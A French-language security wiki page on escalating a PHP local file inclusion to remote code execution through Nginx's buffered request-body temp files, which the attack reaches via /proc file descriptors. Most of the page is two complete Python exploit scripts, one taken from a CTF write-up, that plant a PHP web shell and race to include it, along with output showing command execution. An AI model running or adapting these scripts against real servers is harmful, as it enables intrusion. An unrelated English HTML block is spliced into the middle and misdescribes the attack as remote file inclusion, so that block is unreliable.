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LFI2RCE via Nginx temp files

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Configuration vulnérable

Exemple de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • Code PHP:

<?php include_once($_GET['file']);

  • Configuration FPM / PHP :

...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...

  • Configuration / renforcement :

...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Heureusement, PHP est actuellement souvent déployé via PHP-FPM et Nginx. Nginx offre une fonctionnalité client body buffering facilement négligée qui écrira des fichiers temporaires si le corps du client (pas limité à post) est plus grand qu'un certain seuil.

Cette fonctionnalité permet d'exploiter les LFIs sans aucun autre moyen de créer des fichiers, si Nginx s'exécute en tant que même utilisateur que PHP (très couramment fait en tant que www-data).

Code Nginx pertinent:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t  fd;

fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);

if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}

return fd;
}

Il est visible que le fichier temporaire est immédiatement dissocié après avoir été ouvert par Nginx. Heureusement, procfs peut être utilisé pour obtenir toujours une référence vers le fichier supprimé via une course :

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Note : On ne peut pas inclure directement /proc/34/fd/15 dans cet exemple car la fonction include de PHP résoudrait le chemin en /var/lib/nginx/body/0000001368 (supprimé) qui n'existe pas dans le système de fichiers. Cette légère restriction peut heureusement être contournée par une certaine indirection comme : /proc/self/fd/34/../../../34/fd/15 qui exécutera finalement le contenu du fichier supprimé /var/lib/nginx/body/0000001368.

Exploit Complet

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r  = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r  = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r  = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()

for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
<h1>Local File Inclusion to Remote Code Execution via Nginx Temporary Files</h1>

<p>In some cases, Nginx can be misconfigured to store temporary files in a directory that is writable by the web server user. This misconfiguration can be exploited to achieve remote code execution by including a crafted file that will be executed by the server.</p>

<h2>Exploitation</h2>

<p>To exploit this vulnerability, an attacker can create a malicious PHP file containing the desired code and host it on a server. The attacker then includes the URL of the malicious file in a request to the vulnerable application, which in turn includes the file and executes the code within it.</p>

<h2>Prevention</h2>

<p>To prevent this type of attack, ensure that Nginx is properly configured to store temporary files in a directory that is not writable by the web server user. Additionally, input validation and output encoding should be implemented to prevent malicious file inclusions.</p>
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Autre Exploit

Ceci provient de https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session

def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids

def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session):
while True:
send_payload(requests_session)

def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()

def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()

if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

Laboratoires

Références

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